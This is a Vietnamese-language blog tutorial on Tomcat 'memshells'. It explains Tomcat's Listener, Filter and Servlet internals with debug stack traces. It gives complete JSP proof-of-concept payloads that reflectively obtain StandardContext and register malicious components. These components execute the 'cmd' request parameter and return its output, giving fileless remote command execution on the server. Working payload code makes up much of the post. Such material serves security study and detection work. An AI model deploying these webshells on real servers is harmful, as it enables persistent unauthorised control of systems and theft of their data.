Memshell in Tomcat

Trước tiên mình sẽ đi qua cách khai thác memshell trong tomcat với ứng dụng servlet.

1. Kiến trúc Tomcat

Trước tiên ta cần hiểu cơ bản về kiến trúc của Tomcat. Mình đa số đều ăn cắp từ bài blog này nên các bạn muốn hiểu rõ có thể đọc bài gốc.

Về tổng quan thì Tomcat Server bao gồm nhiều Service, và mỗi Service đều có Connector và Container

Các Connector có nhiệm vụ kết nối giữa Service và Container, nhận request từ Service đưa qua Container xử lý và trả về response cho Service.

Còn Container sẽ là nơi xử lý chính, một Container sẽ chứa nhiều Servlet. Servlet chính là các object mà ta gọi khi code để xử lý và return dữ liệu (HTTPServlet là một ví dụ). Trong Container còn các thành phần râu ria khác mà các bạn có thể đọc bài gốc để hiểu hơn. Ở đây mình chỉ note về Context và Wrappers.

  • Context là một thành phần trong Container, Context đại diện cho mỗi Web application dưới ROOT path (có thể hiểu đơn giản context chính là đại diện cho cái file war đang chạy web). Context sẽ lưu những thông tin về web application đó trong quá trình running, những thông tin này có thể được gọi là context informaion, ví dụ như: session, mime type,...Trong Context sẽ có nhiều Wrappers

  • Wrappers có thể hiểu là đại diện của Servlet, ví dụ ta define một Servlet xử lý dữ liệu tại path /demo thì sẽ có một Wrappers làm đại diện để load, khởi tạo, thực thi và recovery cho Servlet này

2. Một số thành phần trong Tomcat cần quan tâm

A. Context

Để hiểu rõ về Memshell trong tomcat ta cần phải biết 3 loại context được dùng để khai thác.

ServletContext

ServletContext là context được định nghĩa bởi Servlet API, nó chứa context infor của các Servlets trong ứng dụng web, thông qua ServletContext ta có thể tương tác với các thông tin của Servlets, ví dụ như MIME type, dispatch request,....

ApplicationContext

ApplicationContext là một implementation của ServletContext, cũng có công dụng để là context infor của application. ApplicationContext được triển khai theo kiểu facade pattern

StandardContext

Cuối cùng là StandardContext. StandardContext sẽ được ApplicationContext gọi đến. Context này không chỉ dừng lại ở mức lưu context infor, mà nó còn cung cấp API cho phép ta chỉnh sửa trực tiếp các context infor mà các context khác không làm được (docs) -> ta sẽ lợi dụng tính năng này để triển khai memshell

Tóm lại

Nếu muốn chỉnh sửa các context infor trong tomcat servlet ta cần gọi được StandardContext, thông qua StandardContext ta có thể setup được memshell mong muốn

B. Servlet

Như mình đề cập ở trên thì Servlet chính là các object mà ta gọi khi code để xử lý và return dữ liệu. Có 3 Servlet interface mà implement từ trên xuống như sau

Ta đều có thể gọi và sử dụng 3 interface Servlet này, tuy nhiên thông thường ta chỉ sử dụng HttpServlet, nếu muốn dùng 2 cái trên ta phải tự tay define nhiều thứ

C. Filter

Filter đúng như tên gọi thì là thành phần được dùng để intercept request hoặc response để thực hiện một số chỉnh sửa nào đó. Ví dụ dễ thấy nhất là ta sử dụng filter trong file web.xml chính là ta đang sử dụng thành phần Filter trong Tomcat

Mỗi khi Filter được trigger thì hàm doFilter sẽ được gọi để thực thi Filter đó. Đối với filter có một Object gọi là FiltersConfig, lưu thông tin về Filter đó như FilterName, ServletContext, thông tin về Parameter,...

Tập hợp các Filter lại với nhau ta sẽ có FilterChain

D. Listener

Listener là một interface đặc biệt trong Tomcat, cho phép ta monitor một đối tượng nào đó, mỗi khi có một event thì Listener được trigger. Event có thể đơn giản là việc gọi hàm , hoặc attribute của đối tượng bị thay đổi. Trong Servlet có nhiều loại Listener cho phép ta có thể listen nhiều kiểu event khác nhau.

D. Loading Order

Với 3 thành phần đã nêu ở trên, thứ tự Tomcat xử lý request để đưa vào các thành phần ở trên là

Listener->Filter->Servlet

3. Tomcat memshell (triển khai với JSP)

Bây giờ thì mình sẽ đi vào phần chính của bài này. Ta sẽ khai thác vào 3 thành phần cơ bản đã nêu ở trên của Tomcat để triển khai mememshell

  • Listener Memshell

  • Filter Memshell

  • Servlet Memshell

  • Valve Memshell (bonus)

Ý tưởng của ta khi triển khai phần này là debug xem cách thành phần đó được load vào trong Runtime. Sau đó tìm cách viết file jsp để load được các thành phần độc hại (Listener độc hại, Filter độc hại, Servlet độc hại) vào quá trình Runtime của Tomcat.

Các phương pháp trên chỉ exploit được ở Servlet 3.0 vì từ phiên bản này Servlet mới hỗ trợ dynamic reg components, mà chỉ có các bản Tomcat 7.x trở lên mới hỗ trợ Servlet 3.0. Do đó để triển khai memshell thì điều kiện cần là target phải sử dụng Tomcat bản 7.x trở lên

A. Listener Memshell

Đầu tiên ta implement một Listener độc hại để debug xem quá trình define Listener diễn ra như thế nào.

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebListener
public class Shell_Listener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }
}

Khi chạy server thì mỗi lần có request thì event ServletRequestEvent sẽ trigger Listener, nếu request có parameter cmd thì Listener sẽ thực thi command.

Khi debug ta có stack trace như sau

requestInitialized:16, Shell_Listener
fireRequestInitEvent:5157, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

Tại hàm fireRequestInitEvent của StandardContext ta để ý đoạn code sau

public boolean fireRequestInitEvent(ServletRequest request) {
    Object[] instances = this.getApplicationEventListeners();
    if (instances != null && instances.length > 0) {
        ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
        Object[] var4 = instances;
        int var5 = instances.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Object instance = var4[var6];
            if (instance != null && instance instanceof ServletRequestListener) {
                ServletRequestListener listener = (ServletRequestListener)instance;

                try {
                    listener.requestInitialized(event);
                } catch (Throwable var10) {
                    ExceptionUtils.handleThrowable(var10);
                    this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
                    request.setAttribute("javax.servlet.error.exception", var10);
                    return false;
                }
            }
        }
    }

    return true;
}

Dòng Object[] instances = this.getApplicationEventListeners() sẽ lấy ra list các Listeners và các Listeners này được trigger với ServletRequestEvent tại listener.requestInitialized(event)

Ta thấy StandardContext có một method cho phép ta trực tiếp thêm Listeners vào Runtime đó là method addApplicationEventListener (docs)

Vậy thì ta chỉ cần tìm được cách gọi được StandardContext trong JSP file là có thể add được Listeners

Để gọi được StandardContext ta sẽ có 2 cách

  • Cách 1: Dùng org.apache.catalina.connector.Request để gọi đến StandardContext vì Object này cung cấp hàm getContext cho ta lấy ra được StandardContext (docs). Ta sẽ dùng reflection để lấy ra Request Object. Ví dụ

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>
  • Cách 2: Dựa vào cấu trúc Tomcat đã đề cập ở trên, ta cũng có thể lấy ra StandardContext bằng cách đi từ ServletContext->ApplicationContext->StandardContext.

<%    
    ServletContext servletContext = request.getSession().getServletContext();

    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

Cả 2 cách đều mang lại hiệu quả như nhau.

Khi đã lấy được StandardContext, ta chỉ cần đơn giản gọi addApplicationEventListener để thêm Listener độc hại vào Runtime. Ta có file JSP sau để triển khai

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
    public class Shell_Listener implements ServletRequestListener {
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

Kết quả:

Truy cập file jsp để load memshell

Lúc này Listener đã được load, ta chỉ cần truy cập path bất kỳ với parameter cmd để RCE

Nếu muốn in ra output thì ta thêm code xử lý output vào class Shell_Listener trong file jsp ServletOutputStream

B. Filter Memshell

Tương tự flow như trên, đầu tiên ta có code minh họa load Filter độc hại như sau

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
 
@WebFilter("/*")
public class Shell_Filter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}

Đoạn code trên sẽ thực hiện hàm doFilter mỗi khi ta gọi đến path bất kỳ (/*), nếu có parameter cmd thì sẽ được thực thi.

Khi debug ta có stack trace như sau:

doFilter:9, Shell_Filter
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

Node đầu tiên là trace ngược lại là hàm internalDoFilter trong ApplicationFilterChain

Có thể tóm gộm đoạn code trên là lấy ra filterConfig, thông qua filterConfig lấy filter rồi call filter.doFilter.

Tiếp tục đi ngược về internalDoFilter <- ApplicationFilterChain.doFilter <- StandardWrapperValve.invoke

Tại StandardWrapperValve.invoke gọi ApplicationFilterChain.doFilter

Trong hàm invoke này kéo lên một đoạn ta sẽ thấy nơi filterChain được khai báo

Tiếp tục nhảy vào ApplicationFilterFactory.createFilterChain

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
        ...
        // Lấy filterChain từ object Request -> nếu chưa có thì tạo filterChain rỗng
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request)request;
            if (Globals.IS_SECURITY_ENABLED) {
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain)req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            filterChain = new ApplicationFilterChain();
        }
        ...
        // Gọi StandardContext để lấy ra filterMaps và filterConfig
        StandardContext context = (StandardContext)wrapper.getParent();
        FilterMap[] filterMaps = context.findFilterMaps();
        ...
        // Loop qua filterMap và thêm filterConfig theo filterMap vào filterChain
            for (FilterMap filterMap : filterMaps) {
                ...
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
                ...
                filterChain.addFilter(filterConfig);
            }
            ...
            return filterChain;
        } else {
            return filterChain;
        }
    }
}

Ta cần để ý đoạn đến hàm findFilterConfig, hàm này có code đơn giản như sau

public FilterConfig findFilterConfig(String name) {
    synchronized(this.filterDefs) {
        return (FilterConfig)this.filterConfigs.get(name);
    }
}

Nó tiến hành check synchronized filterDefs trước rồi mới lấy ra filterConfigs. Mục đích của việc synchronized là để tránh việc bị Race condition thay đổi filterDefs. Việc triển khai memshell của ta không liên quan nên ta không cần quan tâm lắm. Thứ ta cần quan tâm là 3 giá trị filterDefs , filterMapfilterConfigs

Khi debug ta sẽ thấy StandardContext đều lưu trữ 3 giá trị này

Đầu tiên là filterDefs là một Hashmap lưu các filterDef, mỗi filterDef lưu defination của Filter hay nói cách khác là filterDef bọc lấy Filter

Giá trị filterNamefilterClass tương ứng với 2 giá trị sau khi ta khai báo Filter trong file web.xml

<filter>
    <filter-name></filter-name>
    <filter-class></filter-class>
</filter>

Tiếp theo filterMaps là một Array lưu các filterMap, mỗi filterMap sẽ khai báo Path nào sẽ trigger Filter nào

Trong payload của ta thì Path /* sẽ được map với Filter Shell_Filter. Điều này cũng tương tự khi ta setup filtermap trong file web.xml

<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>

Và cuối cùng là filterConfigs là một Hashmap, lưu các filterConfig, Mỗi filterConfig sẽ lưu trữ chính Filter đó và các thông tin râu ria của Filter đó như Context, filterDef, log

Tóm lại dựa vào flow code trên ta sẽ có flow sau để inject malicious Filter vào Runtime

  • Tạo filterDef để bọc lấy malicious Filter

  • Tạo filterMapđể map 1 đường dẫn bất kỳ với Filter Malicious

  • Tạo filterConfig (instance cụ thể là là ApplicationFilterConfig) từ filterDef và StandardContext

  • Thêm filterConfig vào HashMap filterConfigs

Đầu tiên tạo filterDef

Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

Map tên filter với path

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

Tạo filterConfig với filterDef

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
standardContext.addFilterMapBefore(filterMap);

Thêm filterConfig vào HashMap

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.put(name, filterConfig);

Full payload

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

<%! public class Shell_Filter implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                ServletOutputStream out = response.getOutputStream();
                String line;
                while ((line = reader.readLine()) != null) {
                    out.println(line);
                }
                out.flush();
                out.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}
%>

<%
    Shell_Filter filter = new Shell_Filter();
    String name = "CommonFilter";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);


    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);


    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

Truy cập file jsp để inject

Truy cập đường dẫn bất kỳ với parameter cmd để RCE

C. Servlet Memshell

Tương tự flow như trên, đầu tiên ta có code minh họa load một Servlet độc hại như sau

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/shell")
public class Shell_Servlet implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if (cmd !=null){
            try{
                Runtime.getRuntime().exec(cmd);
            }catch (IOException e){
                e.printStackTrace();
            }catch (NullPointerException n){
                n.printStackTrace();
            }
        }
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

Đoạn code trên sẽ thực thi cmd mỗi khi ta gọi đến path /shell với parameter cmd

Khi debug ta có stack trace như sau:

service:19, Shell_Servlet
internalDoFilter:199, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
doFilter:51, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

Tại hàm internalDoFilter ta sẽ thấy method service của Servlet sẽ được gọi -> nhờ đó ta có thể thực thi cmd qua method service

Tuy nhiên muốn trace về cách Servlet được khai báo vào Runtime thì ta phải xem vào quá trình, loading khi khởi tạo Tomcat.

Ta sẽ nhìn vào hàm startInternal của StandardContext. Hàm này sẽ được gọi mỗi State START của StandardContext để triển khai các component của StardContext (trong đó có Servlet) (docs)

Trong hàm này ta cũng sẽ thấy thứ tự các coponent được triển khai theo thứ tự là Listener->Filter->Servlet

Debug ngược về 1 chút ta biết được method setup các coponent trong là startInternal fireLifecycleEvent

Tại hàm này sẽ gọi hàm lifecycleEvent theo event truyền vào.

protected void fireLifecycleEvent(String type, Object data) {
        LifecycleEvent event = new LifecycleEvent(this, type, data);
        for (LifecycleListener listener : lifecycleListeners) {
            listener.lifecycleEvent(event);
        }
    }

Trong trường hợp này event truyền vào là configure_start và LifecycleEvent được khởi tạo là ContextConfig, nên ta tiếp tục đi đến method configureStart của ContextConfig

configureStart gọi đến webConfig để load config từ file web.xml

Hàm webConfig sẽ gọi đến configureContext với tham số là webXml

webXml sẽ chứa defination của những components mà ta quan tâm

Trong hàm configureContext sẽ có code để triển khai các coponents trong Context bao gồm cả Servlet, Filter và Listener

Ta có thể thấy, từ đây ta cũng có thể xem được cách triển khai Listener và Filter mà không cần phải debug như các cách ở trên

Nhưng thứ ta muốn tìm là cách triển khai Servlet nằm ở đoạn gần cuối hàm

Đoạn code trên sẽ có 1 vài thứ quan trọng ta cần quan tâm:

  • Cần phải có 1 wrapper để bọc lấy servet, sau đó setup Servlet Name và ServletClas vào wrapper.

  • Ta phải setup getLoadOnStartup cho wrapper để Servlet có thể được gọi.

Khi setup đầy đủ thì wrapper sẽ được add vào context như 1 child của context, và gán 1 path nào đó để context biết đường gọi đến wrapper này mà thực thi Servlet

Nói về nguyên nhân thì ta phải setup getLoadOnStartup cho wrapper thì ta phải quay về đoạn load Servlet trong StanderContext.startInternal

Khi lấy ra list các child (các wrapper) của context. Nếu như wrapper có loadOnStartup < 0 (giá trị mặc định khi không khai báo loadOnStarup sẽ = -1) thì sẽ không được load, cón nếu >= 0 thì wrapper tiếp tục được xử lý và được load

Do đó ta phải khai báo loadOnStartup làm sao >= 0

Vậy tóm lại để khai báo Servlet độc hại bằng jsp ta cần:

  • Khai báo wrapper đẻ bọc Servlet

  • Set loadOnStartup >= 0

  • Set Servlet name và Servlet class

  • Add wrapper vào làm child của context

  • Map wrapper với một path nào đó để trigger. Lưu ý: ta cũng có thẻ set giá trị path là /* để match all path, tuy nhiên nếu làm vậy sẽ overide mọi Servlet hiện tại của web -> trang web mất hành vi ban đầu. Do đó ta phải set 1 path cụ thể để trigger, đây cũng là điểm hạn chế lớn nhất của memshell Servlet

Full POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!

    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                try {
                    Process process = Runtime.getRuntime().exec(cmd);
                    BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    ServletOutputStream out = res.getOutputStream();
                    String line;
                    while ((line = reader.readLine()) != null) {
                        out.println(line);
                    }
                    out.flush();
                    out.close();
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }

%>

<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

Inject

RCE

Refer

Last updated